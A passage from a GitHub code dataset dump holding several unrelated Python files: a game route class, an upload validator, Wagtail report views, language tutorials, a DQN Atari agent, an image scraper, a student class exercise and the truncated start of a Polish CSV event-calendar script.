inverse))\r\n#secax.xaxis.set_minor_locator(AutoMinorLocator())\r\n#secax.set_xlabel('$X_{other}$')\r\n\r\nplot.ylabel(\"Latency[ms]\")\r\n\r\nplot.show()\r\n\r\n\r\n\r\n# Program Done\r\nprint (\"DONE!!!\") ","repo_name":"ToastedTiger/Pinger","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"74658014127","text":"from card_colors import CardColors\n\n# points for each route length\nROUTE_POINTS = {\n 1: 1,\n 2: 2,\n 3: 4,\n 4: 7,\n 5: 10,\n 6: 15,\n 7: 18\n}\n\n\nclass Route:\n def __init__(self, connecting_cities, color, length) -> None:\n self.connecting_cities = connecting_cities\n self.connecting_cities[0].connected_routes[self.connecting_cities[0].name] = self\n self.connecting_cities[1].connected_routes[self.connecting_cities[1].name] = self\n\n self.color = color\n self.length = length\n self.points = ROUTE_POINTS[self.length]\n self.owner = None\n\n def set_owner(self, player):\n self.owner = player\n\n def claim_route(self, player):\n if self.owner:\n print(\"This route is already occupied. Please try again.\")\n return False\n\n if self.color is None:\n color_string = input(\"Which card color do you want to use? Note that you must \\\n have enough cards of that color to build the train.\")\n\n if color_string.upper() in CardColors:\n route_color = CardColors[color_string.upper()]\n else:\n print(\"This is not a valid color. Please try again.\")\n return False\n\n else:\n route_color = self.color\n\n rainbow_num = player.player_cards[CardColors.RAINBOW]\n train_color_num = player.player_cards[route_color]\n\n if player.train >= self.length:\n if train_color_num >= self.length:\n self.set_owner(player)\n player.use_trains(self.length)\n player.use_player_cards(route_color, self.length)\n player.earn_points(self.points)\n return True\n\n elif train_color_num + rainbow_num >= self.length:\n self.set_owner(player)\n player.use_trains(self.length)\n player.use_player_cards(CardColors.RAINBOW, self.length - train_color_num)\n player.use_player_cards(route_color, train_color_num)\n player.earn_points(self.points)\n return True\n\n print(\"You do not have enough cards or trains remaining to place trains on this route. Please try again.\")\n return False\n","repo_name":"phuongmaihuynhpham/ticket-to-ride","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"30007410456","text":"import csv\nimport datetime\nimport logging\nfrom typing import Iterable, List, Tuple\n\nfrom . import common_msg, input_validator\n\nlogger = logging.getLogger(__name__)\n\n\ndef parse_uploaded_file(upload_file, temp_file_name) -> Tuple[List[Iterable[str]], str]:\n \"\"\"\n アップデートファイルの読み取り\n \"\"\"\n\n # ファイルサイズの確認\n if not upload_file or upload_file.size == 0:\n return [], common_msg.SVERR0001\n\n data_list = []\n err_msg = common_msg.MessageBuilder()\n\n # 一時ファイルを作成しデータ出力\n with open(temp_file_name, \"wb+\") as destination:\n for chunk in upload_file.chunks():\n destination.write(chunk)\n\n # 一時ファイルからtsvデータ読み込み\n try:\n with open(temp_file_name, \"r\") as file:\n reader = csv.reader(file, delimiter=\"\\t\")\n\n for row_count, row in enumerate(reader, 1):\n msg = check_row_len(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n msg = check_null(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n msg = check_length(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n msg = check_num(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n msg = check_date_form(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n msg = check_year(row, row_count)\n if msg:\n err_msg.add_messages(msg)\n continue\n\n # データ格納\n data_list.append(row)\n\n except Exception as e:\n err_msg.add_messages([common_msg.SVERR9999])\n logger.error(e)\n\n return data_list, err_msg.build()\n\n\ndef check_row_len(row, row_count):\n \"\"\"1行ごとの項目数チェック\"\"\"\n err_msg = []\n if not len(row) == 17:\n err_msg.append(common_msg.SVERR0011.format(row_count))\n\n return err_msg\n\n\ndef check_null(row, row_count):\n \"\"\"nullチェック\"\"\"\n err_msg = []\n # 部品コード\n if row[0] == \"\":\n err_msg.append(common_msg.SVERR0012.format(row_count, 1))\n\n # 版数\n if row[1] == \"\":\n err_msg.append(common_msg.SVERR0012.format(row_count, 2))\n\n # 品目種別\n if row[3] == \"\":\n err_msg.append(common_msg.SVERR0012.format(row_count, 4))\n\n # 担当者\n if row[5] == \"\":\n err_msg.append(common_msg.SVERR0012.format(row_count, 6))\n\n # 更新日\n if row[6] == \"\":\n err_msg.append(common_msg.SVERR0012.format(row_count, 7))\n\n return err_msg\n\n\ndef check_length(row, row_count):\n \"\"\"文字数チェック\"\"\"\n\n err_msg = []\n # 部品コード\n if len(row[0]) > 17:\n err_msg.append(common_msg.SVERR0013.format(row_count, 1, 17))\n\n valid = input_validator.validate_product_code(row[0])\n if not valid:\n err_msg.append(common_msg.SVERR0024)\n\n # 部品版数\n if len(row[1]) > 3:\n err_msg.append(common_msg.SVERR0013.format(row_count, 2, 3))\n\n # 部品名称\n if len(row[2]) > 100:\n err_msg.append(common_msg.SVERR0013.format(row_count, 3, 100))\n\n # 品目種別\n if len(row[3]) > 1:\n err_msg.append(common_msg.SVERR0013.format(row_count, 4, 2))\n\n # 品目種別が\"E\"のとき\n if row[3] == \"E\":\n # 機能(200桁)\n if len(row[7]) > 200:\n err_msg.append(common_msg.SVERR0013.format(row_count, 8, 200))\n\n # 電源系統(2桁)\n if len(row[8]) > 2:\n err_msg.append(common_msg.SVERR0013.format(row_count, 9, 2))\n\n # 電源電圧 (MIN)[V](30桁)\n if len(row[9]) > 30:\n err_msg.append(common_msg.SVERR0013.format(row_count, 10, 30))\n\n # 電源電圧 (MAX)[V](30桁)\n if len(row[10]) > 30:\n err_msg.append(common_msg.SVERR0013.format(row_count, 11, 30))\n\n # パッケージ(2桁)\n if len(row[11]) > 2:\n err_msg.append(common_msg.SVERR0013.format(row_count, 12, 2))\n\n # 温度区分(2桁)\n if len(row[12]) > 2:\n err_msg.append(common_msg.SVERR0013.format(row_count, 3, 2))\n\n # 動作保証温度(50桁)\n if len(row[13]) > 50:\n err_msg.append(common_msg.SVERR0013.format(row_count, 14, 50))\n\n # コメント(4000桁)\n if len(row[14]) > 4000:\n err_msg.append(common_msg.SVERR0013.format(row_count, 15, 4000))\n\n # 品目種別が\"P\"のとき\n if row[3] == \"P\":\n # 層数(4桁)\n if len(row[7]) > 4:\n err_msg.append(common_msg.SVERR0013.format(row_count, 8, 4))\n\n # 実装タイプ(2桁)\n if len(row[8]) > 2:\n err_msg.append(common_msg.SVERR0013.format(row_count, 9, 2))\n\n return err_msg\n\n\ndef check_num(row, row_count):\n \"\"\"\n 数値チェック\n \"\"\"\n err_msg = []\n # 部品版数\n if not row[1].isdigit():\n err_msg.append(common_msg.SVERR0014.format(row_count, 2))\n\n # 品目種別が\"P\"のとき\n if row[3] == \"P\":\n # 層数\n if not row[7].isdigit():\n err_msg.append(common_msg.SVERR0014.format(row_count, 8))\n\n return err_msg\n\n\ndef check_date_form(row, row_count):\n \"\"\"\n 日付フォーマットチェック\n \"\"\"\n err_msg = []\n\n # EOL (YYYY/MM/DD)\n if not row[4] == \"\":\n valid = input_validator.validate_date(row[4])\n if not valid:\n err_msg.append(common_msg.SVERR0015.format(row_count, 5))\n\n # 更新日 (YYYY/MM/DD)\n if not row[6] == \"\":\n valid = input_validator.validate_date(row[6])\n if not valid:\n err_msg.append(common_msg.SVERR0015.format(row_count, 7))\n\n return err_msg\n\ndef check_year(row, row_count):\n\n date_today = datetime.date.today()\n err_msg = []\n\n if not row[4] == \"\":\n date_data = row[4]\n li = date_data.split(\"/\")\n date = datetime.date(int(li[0]), int(li[1]), int(li[2]))\n delta = date_today - date\n\n if delta.days >= (3 * 365):\n err_msg.append(common_msg.SVERR0023)\n\n return err_msg\n\n\n\n\n\n\n","repo_name":"charliewdj/Product-Management","sub_path":"service/part_uploaded_file_handler.py","file_name":"part_uploaded_file_handler.py","file_ext":"py","file_size_in_byte":6390,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3759832209","text":"from decruck.main.models import CompositionPage, Order, Message\nfrom wagtail.admin.views.reports import PageReportView, ReportView\n\n\nclass CompositionReportView(PageReportView):\n title = 'Compositions'\n list_export = [\n 'information_up_to_date', 'genre', 'composition_title', 'description',\n 'nat_lang_edtf_string', 'location', 'instrumentation_list',\n 'orchestration', 'duration', 'manuscript_status_en',\n 'manuscript_status_fr', 'collaborator', 'text_source', 'dedicatee',\n 'premiere', 'scanned'\n ]\n header_icon = 'doc-empty-inverse'\n\n def get_queryset(self):\n return CompositionPage.objects.all()\n\n\nclass OrderReportView(ReportView):\n title = 'Orders'\n list_export = [\n 'order_number', 'total', 'full_name', 'email', 'created', 'modified',\n 'status', 'items_ordered',\n ]\n header_icon = 'doc-empty-inverse'\n\n def get_queryset(self):\n return Order.objects.all().order_by('created')\n\n\nclass MessageReportView(ReportView):\n title = 'Messages'\n list_export = [\n 'name', 'email', 'message'\n ]\n header_icon = 'doc-empty-inverse'\n\n def get_queryset(self):\n return Message.objects.all().order_by('created')\n","repo_name":"nbuonin/decruck-wagtail","sub_path":"decruck/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"39340125869","text":"# Functional Programming\n\n# 高阶函数\n# 能够使用其他函数作为参数的函数\n# 也就是,该函数的参数列表可以接受函数作为参数\n\ndef apply_twice(func, arg): # func是个函数, 因此,我们称apply_twice为高阶函数\n return func(func(arg))\n\ndef add_five(x):\n return x + 5\n\nprint(apply_twice(add_five, 10))\n\n\ndef test(func, arg):\n return func(func(arg))\n\ndef mult(x):\n return x * x\n\nprint(test(mult, 2)) # print(mult(mutl, 2))\nprint(test(add_five, 16)) \n\n\n\n\n\n# 纯函数\n# 函数返回值,只依赖函数参数。\n# 更具体地,函数执行,不依赖外部变量,仅仅依赖函数参数\n# \ndef pure_func(x, y):\n return x * 2 + y\n\n\n\n# impure example\nsome_list = []\ndef impure(arg):\n some_list.append(arg)\n return some_list\n\n\n\n\n# lambda函数,或者 匿名函数\n# 没有具体函数形式的函数\n# lambda x1, x2, ...: 语句\n\ndef my_func(f, arg):\n return f(arg)\n\nprint(my_func(add_five, 17))\n# 用lambda函数的等价形式\nprint(my_func(lambda x: x + 5, 17))\n\n\ndef polynomial(x):\n return x ** 2 + 5 * x + 4\n\nprint(polynomial(-4))\nprint((lambda x: x ** 2 + 5 * x + 4)(-4)) # ��数polynormial的等价形式\n\n\n# 间接地给匿名函数一个名字\ndouble = lambda x: x * 2\nprint(double(2))\n\n\ntriple = lambda x: x * 3\nadd = lambda x, y: x + y\nprint(add(triple(3), 4))\n\n\n\n# map, filter函数\n# map(function, list) 将function应用于list中的每一个元素\n# 也可以使用tuple, set\n# map和filter函数都可以被for语句块取代,但是 map和filter效率更好、含义更清晰\nnums = [11, 22, 33, 44, 55]\nresult = list(map(add_five, nums)) # nums中的每个元素加5, 显示转换为list类型\nprint(result)\n\nresult = list(filter(lambda x: x % 2 == 0, nums)) # nums中符合条件(偶数)的元素\nprint(result)\n\n\n\n\n\n# Generator(生成器)\n# 生成器可以使用在for语句中,但是它不能被索引,不能随机访问其中的元素\n# 函数中,使用yield返回生成的对象\n# 不是一次性生成整个序列\n\ndef countdown():\n i = 5\n while i > 0:\n yield i # 与return的用法相近\n i -= 1\n\nfor i in countdown():\n print(i)\n\n\ndef infinite_sevens():\n while True:\n yield 7\n\n# for i in infinite_sevens():\n# print(i)\n\n\n\ndef numbers(x):\n for i in range(x):\n if i % 2 == 0:\n yield i\n\nprint(list(numbers(11))) # 完成整个序列的生成,然后使用\n\n\n\n# 装饰器 Decorator\n# 是一个返回函数的函数,它的主要目的是为了扩展原函数的功能\n\ndef decor(func):\n def wrap():\n print(\"============\")\n func()\n print(\"============\")\n return wrap\n\ndef print_text():\n print(\"Hello world!\")\n\ndecorated = decor(print_text)\ndecorated()\n\nprint_text = decor(print_text)\nprint_text()\n\n#### 最为常用的方式\n@decor ## 等价于print_text2 = decor(print_text2)\ndef print_text2():\n print(\"Hell world!\")\n\nprint_text2()\n\n\n\n\n# 递归\ndef factorial(n):\n if n == 1: ## base case\n return 1\n else:\n return n * factorial(n-1)\n\nprint(factorial(5))\n\n\n# 间接递归\ndef is_even(x):\n if x == 0:\n return True\n else:\n return is_odd(x - 1)\n\ndef is_odd(x):\n return not is_even(x - 1)\n\n\n\n\n# Set\n# 集合\n# {}\n# 注意,Set类型使用{}和字典类型相同; 创建空集合,必须使用{}\nnum_set = {1, 2, 3, 4, 5}\nword_set = set([\"spam\", \"eggs\", \"sausage\"])\nprint(3 in num_set)\nprint(\"spam\" not in word_set)\n\n# 不索引其中的元素\n# 不存在重复元素\n# add(): 添加元素\n# remove(): 移除元素\nnums = {1, 2, 3, 4, 1, 3, 4, 5, 6}\nprint(nums)\nnums.add(-7)\nprint(nums)\nnums.remove(3)\nprint(nums)\n\n# Set相关的运算\n# 交 &, 并 |, 差 -, 对称差 ^\nprint(\"set operators\")\nnums1 = {1, 2, 3, 4}\nnums2 = {1, 3, 4, 5, 6}\nprint(nums1 & nums2)\nprint(nums1 | nums2)\nprint(nums1 - nums2)\nprint(nums1 ^ nums2)\n\n\n\n\n# itertools\nprint(\"itertools\")\nfrom itertools import count, cycle, repeat\nfor i in count(3): # 从3开始计数\n print(i)\n if i == 7:\n break\n\n# for i in cycle(\"abcd\"):\n# print(i)\n\nfor i in repeat(10, 3): # 重复3次10, 10 10 10\n print(i)\n\n# repeat(obj, times=None) \n# 生成一个含有times个obj的序列,如果没有给的times,那么一个无穷长序列\nprint(list(map(pow, range(10), repeat(2))))\n# [0, 1, 2, ..., 9], [2, 2, 2, ..., 2, ...]\n\nfrom itertools import accumulate, takewhile\nnums = list(accumulate(range(8)))\nprint(nums)\nprint(list(takewhile(lambda x: x <= 6, nums))) # takewhile的第一个参数是一个判断元素是否符合条件的函数\n\n\nfrom itertools import product, permutations\nletters = (\"A\", \"B\", \"C\")\nprint(list(product(letters, range(2)))) # (\"A\", \"B\") (0, 1)\nprint(list(permutations(letters)))\n","repo_name":"SmithJson/NCUT-Presentation-Slides","sub_path":"python程序设计与实践/functional.py","file_name":"functional.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"zh","doc_type":"code","stars":12,"dataset":"github-code","pt":"2"} +{"seq_id":"28305199978","text":"set1 = {\"maryam\", \"nadia\", \"mohammad\", \"ali\", \"hasan\", \"sara\"}\nset1.remove(\"ali\")\nprint(\"set1 after removing 'ali' is: \",set1)\n\n# !!! If the item to remove does not exist, remove() will raise an error.\n\n# ****************************************************************\n# Discard()\n# !!! If the item to remove does not exist, discard() will NOT raise an error.\nset1.discard(\"hasan\")\nprint(\"s1 after discard 'hasan' is: \",set1)\n\n# ****************************************************************\n# pop(): ----> but this method will remove the last item\n# Sets are unordered, so when using the pop() method, you do not know which item that gets removed.\nset1.pop()\nprint(\"set1 after pop(): \", set1)\n\n# ****************************************************************\n# Clear():\nset2 = {\"apple\", \"banana\", \"cherry\", \"mango\"}\nset2.clear()\nprint(\"set2 after clear(): \",set2)\n\n# ****************************************************************\n# del: ----> will delete the set completely:\nset3 = {\"apple\", \"banana\", \"cherry\"}\ndel set3\nprint(\"set3 after del: \",set3)","repo_name":"Maryam-ask/Python_Tutorial","sub_path":"Collections/Set/RemoveItem.py","file_name":"RemoveItem.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"2764039851","text":"import argparse\nimport os\nimport random\nimport torch\nfrom torch.optim import Adam\nfrom tester import Tester\nfrom buffer import ReplayBuffer\nfrom common.wrappers import make_atari, wrap_deepmind, wrap_pytorch\nfrom config import Config\nfrom core.util import get_class_attr_val\nfrom model import CnnDQN\nfrom trainer import Trainer\n\nclass CnnDDQNAgent:\n def __init__(self, config: Config):\n self.config = config\n self.is_training = True\n self.buffer = ReplayBuffer(self.config.max_buff)\n\n self.model = CnnDQN(self.config.state_shape, self.config.action_dim)\n self.target_model = CnnDQN(self.config.state_shape, self.config.action_dim)\n self.target_model.load_state_dict(self.model.state_dict())\n self.model_optim = Adam(self.model.parameters(), lr=self.config.learning_rate)\n\n if self.config.use_cuda:\n self.cuda()\n\n def act(self, state, epsilon=None):\n if epsilon is None: epsilon = self.config.epsilon_min\n if random.random() > epsilon or not self.is_training:\n state = torch.tensor(state, dtype=torch.float).unsqueeze(0)\n if self.config.use_cuda:\n state = state.cuda()\n q_value = self.model.forward(state)\n action = q_value.max(1)[1].item()\n else:\n action = random.randrange(self.config.action_dim)\n return action\n\n def learning(self, fr):\n s0, a, r, s1, done = self.buffer.sample(self.config.batch_size)\n\n s0 = torch.tensor(s0, dtype=torch.float)\n s1 = torch.tensor(s1, dtype=torch.float)\n a = torch.tensor(a, dtype=torch.long)\n r = torch.tensor(r, dtype=torch.float)\n done = torch.tensor(done, dtype=torch.float)\n\n if self.config.use_cuda:\n s0 = s0.cuda()\n s1 = s1.cuda()\n a = a.cuda()\n r = r.cuda()\n done = done.cuda()\n\n q_values = self.model(s0).cuda()\n next_q_values = self.model(s1).cuda()\n next_q_state_values = self.target_model(s1).cuda()\n\n q_value = q_values.gather(1, a.unsqueeze(1)).squeeze(1)\n next_q_value = next_q_state_values.gather(1, next_q_values.max(1)[1].unsqueeze(1)).squeeze(1)\n expected_q_value = r + self.config.gamma * next_q_value * (1 - done)\n # Notice that detach the expected_q_value\n loss = (q_value - expected_q_value.detach()).pow(2).mean()\n\n self.model_optim.zero_grad()\n loss.backward()\n self.model_optim.step()\n\n if fr % self.config.update_tar_interval == 0:\n self.target_model.load_state_dict(self.model.state_dict())\n\n return loss.item()\n\n def cuda(self):\n self.model.cuda()\n self.target_model.cuda()\n\n def load_weights(self, model_path):\n model = torch.load(model_path)\n if 'model' in model:\n self.model.load_state_dict(model['model'])\n else:\n self.model.load_state_dict(model)\n\n def save_model(self, output, name=''):\n torch.save(self.model.state_dict(), '%s/model_%s.pkl' % (output, name))\n\n def save_config(self, output):\n with open(output + '/config.txt', 'w') as f:\n attr_val = get_class_attr_val(self.config)\n for k, v in attr_val.items():\n f.write(str(k) + \" = \" + str(v) + \"\\n\")\n\n def save_checkpoint(self, fr, output):\n checkpath = output + '/checkpoint_model'\n os.makedirs(checkpath, exist_ok=True)\n torch.save({\n 'frames': fr,\n 'model': self.model.state_dict()\n }, '%s/checkpoint_fr_%d.tar'% (checkpath, fr))\n\n def load_checkpoint(self, model_path):\n checkpoint = torch.load(model_path)\n fr = checkpoint['frames']\n self.model.load_state_dict(checkpoint['model'])\n self.target_model.load_state_dict(checkpoint['model'])\n return fr\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='')\n parser.add_argument('--train', dest='train', action='store_true', help='train model')\n parser.add_argument('--env', default='PongNoFrameskip-v4', type=str, help='gym environment')\n parser.add_argument('--test', dest='test', action='store_true', help='test model')\n parser.add_argument('--retrain', dest='retrain', action='store_true', help='retrain model')\n parser.add_argument('--model_path', type=str, help='if test or retrain, import the model')\n args = parser.parse_args()\n # atari_ddqn.py --train --env PongNoFrameskip-v4\n\n config = Config()\n config.env = args.env\n config.gamma = 0.99\n config.epsilon = 1\n config.epsilon_min = 0.01\n config.eps_decay = 30000\n config.frames = 2000000\n config.use_cuda = True\n config.learning_rate = 1e-4\n config.max_buff = 100000\n config.update_tar_interval = 1000\n config.batch_size = 32\n config.print_interval = 5000\n config.log_interval = 5000\n config.checkpoint = True\n config.checkpoint_interval = 500000\n config.win_reward = 18 # PongNoFrameskip-v4\n config.win_break = True\n\n # handle the atari env\n env = make_atari(config.env)\n env = wrap_deepmind(env)\n env = wrap_pytorch(env)\n\n config.action_dim = env.action_space.n\n config.state_shape = env.observation_space.shape\n agent = CnnDDQNAgent(config)\n\n if args.train:\n trainer = Trainer(agent, env, config)\n trainer.train()\n\n elif args.test:\n if args.model_path is None:\n print('please add the model path:', '--model_path xxxx')\n exit(0)\n tester = Tester(agent, env, args.model_path)\n tester.test()\n\n elif args.retrain:\n if args.model_path is None:\n print('please add the model path:', '--model_path xxxx')\n exit(0)\n\n fr = agent.load_checkpoint(args.model_path)\n trainer = Trainer(agent, env, config)\n trainer.train(fr)\n","repo_name":"blackredscarf/pytorch-DQN","sub_path":"atari_ddqn.py","file_name":"atari_ddqn.py","file_ext":"py","file_size_in_byte":5881,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"2"} +{"seq_id":"10600394610","text":"import requests, akira, re, custom_responses\nfrom random import choice\nfrom inspect import isclass\n\ndef make_response(text):\n for x in dir(custom_responses):\n _ = getattr(custom_responses, x)\n if not isclass(_):\n continue\n \n _cr = _()\n \n if not getattr(_cr, '__patterns__', None):\n continue\n \n if not callable(getattr(_cr, '__process__', None)):\n continue\n \n for pattern in _cr.__patterns__:\n regex = re.compile(pattern,\n re.MULTILINE | re.IGNORECASE | re.DOTALL)\n \n matches = regex.findall(text)\n if matches:\n query = matches[0]\n response = _cr.__process__(query)\n if response:\n return response\n \n try:\n response = akira.chatbot.get_response(text)\n except:\n response = choice('Maybe...', '...', '...right...')\n \n return response","repo_name":"psyb0t/AkiraBot","sub_path":"fn.py","file_name":"fn.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"5937801554","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 26 21:51:33 2017\n\n@author: Vishesh\n\"\"\"\n\n\n\nimport urllib.request\nfrom bs4 import BeautifulSoup\nfrom PIL import Image\nimport requests\n\nimport pandas as pd\ndf = pd.read_csv(\"photoAssets.csv\")\ndf = df[['id_category', 'name', 'link_rewrite', 'URLs']]\ndf = df.dropna()\n\n\n\n#url = \"http://www.website.co.uk/sofa-throws\"\n\ndef urlImageCrop(oldname, newname, url):\n try:\n dep = urllib.request.urlopen(url)\n soup = BeautifulSoup(dep, 'html.parser')\n imageLink = soup.find('img', class_=\"banner-image\") \n \n image_url = imageLink[\"src\"]\n \n \n \n img_data = requests.get(image_url).content\n with open(oldname+\"original\"+\".jpg\", 'wb') as handler:\n handler.write(img_data)\n \n \n \n img = Image.open(oldname+\"original\"+\".jpg\")\n \n \n half_the_width = img.size[0] / 2\n half_the_height = img.size[1] / 2\n img4 = img.crop(\n (\n half_the_width - 500,\n half_the_height - 75,\n half_the_width + 500,\n half_the_height + 75\n )\n )\n img4.save(oldname+\"cropped1\"+\".jpg\")\n \n except:\n print(\"error\")\n pass\n \n \n#urlImageCrop(\"Cashmere for Summer\", \"luxury-cashmere\", \"http://www.website.co.uk/luxury-cashmere\")\n\n#urlImageCrop(df.iloc[0:1,1].to_string()[5:], df.iloc[0:1,2].to_string()[5:], df.iloc[0:1,3].to_string()[5:])\n\n\nfor i in range(df['URLs'].size-1):\n urlImageCrop(df.iloc[i:i+1,1].to_string()[5:], df.iloc[i:i+1,2].to_string()[5:], df.iloc[i:i+1,3].to_string()[5:])","repo_name":"visheshkochher/python3_scripts","sub_path":"url_image_crop.py","file_name":"url_image_crop.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"8532126240","text":"#The student class that has set methods, a print method, and name, studentID, and numCourses attributes\r\nclass Student: \r\n #create the three attributes for this class\r\n name = \"\"\r\n studentID = \"\"\r\n numCourses = 0\r\n\r\n #Default Constructor\r\n def __init__(self, inName, inStudentID, inNumCourses):\r\n self.name = inName\r\n self.studentID = inStudentID\r\n self.numCourses = inNumCourses\r\n\r\n #Function to set name\r\n def set_name(self, inName):\r\n self.name = inName\r\n\r\n #Function to set student id\r\n def set_studentID(self, inStudentID): \r\n self.studentID = inStudentID\r\n\r\n #Function to set the number of courses\r\n def set_numCourses(self, inNumCourses): \r\n self.numCourses = inNumCourses\r\n\r\n #Function to print the student instance\r\n def printStudent(self): \r\n print(\"\\nStudent Name: \" + self.name)\r\n print(\"\\nStudentID: \" + self.studentID)\r\n print(\"\\nNumber of Courses Taken: \" + str(self.numCourses))\r\n print(\"\\n\")\r\n \r\n#main method that creates three student instances\r\nstudent1 = Student(\"Sam\", \"000988153\", 4)\r\nstudent2 = Student(\"Jason\", \"000123456\", 5)\r\nstudent3 = Student(\"Nic\", \"000112233\", 3)\r\n\r\n#Call to method to print the student instances\r\nprint(\"Initial information for the students\")\r\nstudent1.printStudent()\r\nstudent2.printStudent()\r\nstudent3.printStudent()\r\n\r\n#Call to method to change the student id, number of courses, and name\r\nstudent1.set_name(\"Samantha\")\r\nstudent2.set_studentID(\"000234678\")\r\nstudent3.set_numCourses(5)\r\n\r\n#Call to method to print the student instances after changes\r\nprint(\"Saved changes to the student information\")\r\nstudent1.printStudent()\r\nstudent2.printStudent()\r\nstudent3.printStudent()","repo_name":"srperez0619/Codes","sub_path":"Student.py","file_name":"Student.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14921382047","text":"import csv\nimport pandas as pd\nimport datetime\n\nheader = ['Data', 'Godzina', 'Nazwa', 'Opis']\n\n\ndef wczytanie_df():\n wczytany_df = pd.read_csv('wydarzenia.csv')\n return wczytany_df\n\n\ndef tworzenie_pliku():\n try:\n plik = open('wydarzenia.csv')\n except FileNotFoundError:\n with open('wydarzenia.csv', 'w', newline='', encoding='utf-8') as plik:\n writer = csv.DictWriter(plik, fieldnames=header)\n writer.writeheader()\n plik.close()\n finally:\n plik.close()\n\n\ndef zapis_df(df):\n\n df.to_csv('wydarzenia.csv', index=False)\n print('Zapisano pomyślnie.')\n\n\ndef wyswietl_wydarzenie():\n df = pd.read_csv('wydarzenia.csv')\n df.index += 1\n df = df.fillna('')\n if df.empty:\n print('Brak wydarzeń do wyświetlenia.\\n')\n else:\n print(df.to_string())\n print('Wyświetlono.' + '\\n')\n\n\ndef dodaj_wydarzenie(df,data,godzina,nazwa, opis ):\n\n dodawane = {\"Data\": data, 'Godzina': godzina, \"Nazwa\": nazwa, \"Opis\": opis}\n nowy_ele_df = pd.DataFrame([dodawane])\n rezultat_df = pd.concat([df,nowy_ele_df],ignore_index=True)\n return rezultat_df\n\n\ndef usun_wydarzenie(df, data, godzina, nazwa):\n\n odp = df.drop(df[(df['Data'] == data) & (df['Godzina'] == godzina) & (df['Nazwa'].apply(str) == nazwa)].index)\n return odp\n\n\ndef operacje():\n print('[1] - sortowanie alfabetyczne')\n print('[2] - sortowanie niealfabetyczne')\n print('[3] - sortowanie po dacie i godzienie rosnąco')\n print('[4] - sortowanie po dacie i godzienie malejąco')\n print('[5] - wyszukaj wartości w nazwie lub opisie')\n print('[6] - powróć do menu')\n\n sortowanie = input('wybierz opcję: ')\n try:\n sortowanie = int(sortowanie)\n if sortowanie not in range(1, 7):\n print('Niepoprawna warotść' + '\\n')\n else:\n if sortowanie == 1:\n sortowanie_alfabetycznie()\n if sortowanie == 2:\n sortowanie_niealfabetycznie()\n if sortowanie == 3:\n sortowanie_czas_rosnaco()\n if sortowanie == 4:\n sortowanie_czas_malejaco()\n if sortowanie == 5:\n wyszukiwanie_nazwa_opis()\n if sortowanie == 6:\n print('Powrót do menu.' + '\\n')\n except ValueError:\n print('Niepoprawny format.' + '\\n')\n print(ValueError)\n\n\ndef sortowanie_alfabetycznie():\n odp = pd.read_csv('wydarzenia.csv')\n sortowanie_alf = odp.sort_values('Nazwa')\n\n with open('wydarzenia.csv', 'w', encoding='utf-8', newline='') as plik:\n sortowanie_alf.to_csv('wydarzenia.csv', index=False)\n plik.close()\n print('Posortowno.' + '\\n')\n\n\ndef sortowanie_niealfabetycznie():\n odp = pd.read_csv('wydarzenia.csv')\n sortowanie_alf = odp.sort_values('Nazwa')\n with open('wydarzenia.csv', 'w', encoding='utf-8', newline='') as plik:\n\n sortowanie_nie_alf = sortowanie_alf[::-1]\n sortowanie_nie_alf.to_csv('wydarzenia.csv', index=False)\n\n plik.close()\n print('Posortowno.' + '\\n')\n\n\ndef sortowanie_czas_rosnaco():\n odp = pd.read_csv('wydarzenia.csv')\n sortowanie_czas = odp.sort_values(['Data', 'Godzina'], ascending=[True, True])\n\n with open('wydarzenia.csv', 'w', encoding='utf-8', newline='') as plik:\n sortowanie_czas.to_csv('wydarzenia.csv', index=False)\n plik.close()\n print('Posortowno.' + '\\n')\n\n\ndef sortowanie_czas_malejaco():\n odp = pd.read_csv('wydarzenia.csv')\n sortowanie_nie_czas = odp.sort_values(['Data', 'Godzina'], ascending=[True, True])\n\n with open('wydarzenia.csv', 'w', encoding='utf-8', newline='') as plik:\n sortowanie_nie_czas = sortowanie_nie_czas[::-1]\n sortowanie_nie_czas.to_csv('wydarzenia.csv', index=False)\n plik.close()\n print('Posortowno.' + '\\n')\n\n\ndef wyszukiwanie_nazwa_opis():\n wyszukiwane = input(\"Podaj wartość szukaną w nazwie lub opisie: \").upper()\n print()\n odp = pd.read_csv('wydarzenia.csv')\n wynik_wyszukiwania = (odp[(odp.Nazwa.str.contains(wyszukiwane)) | (odp.Opis.str.contains(wyszukiwane))])\n if not wynik_wyszukiwania.empty:\n wynik_wyszukiwania.index += 1\n print(wynik_wyszukiwania)\n print('wyświetlono.' + '\\n')\n else:\n print(\"Nie znaleziono wydarzenia o nazwie lub opisie:\", wyszukiwane, 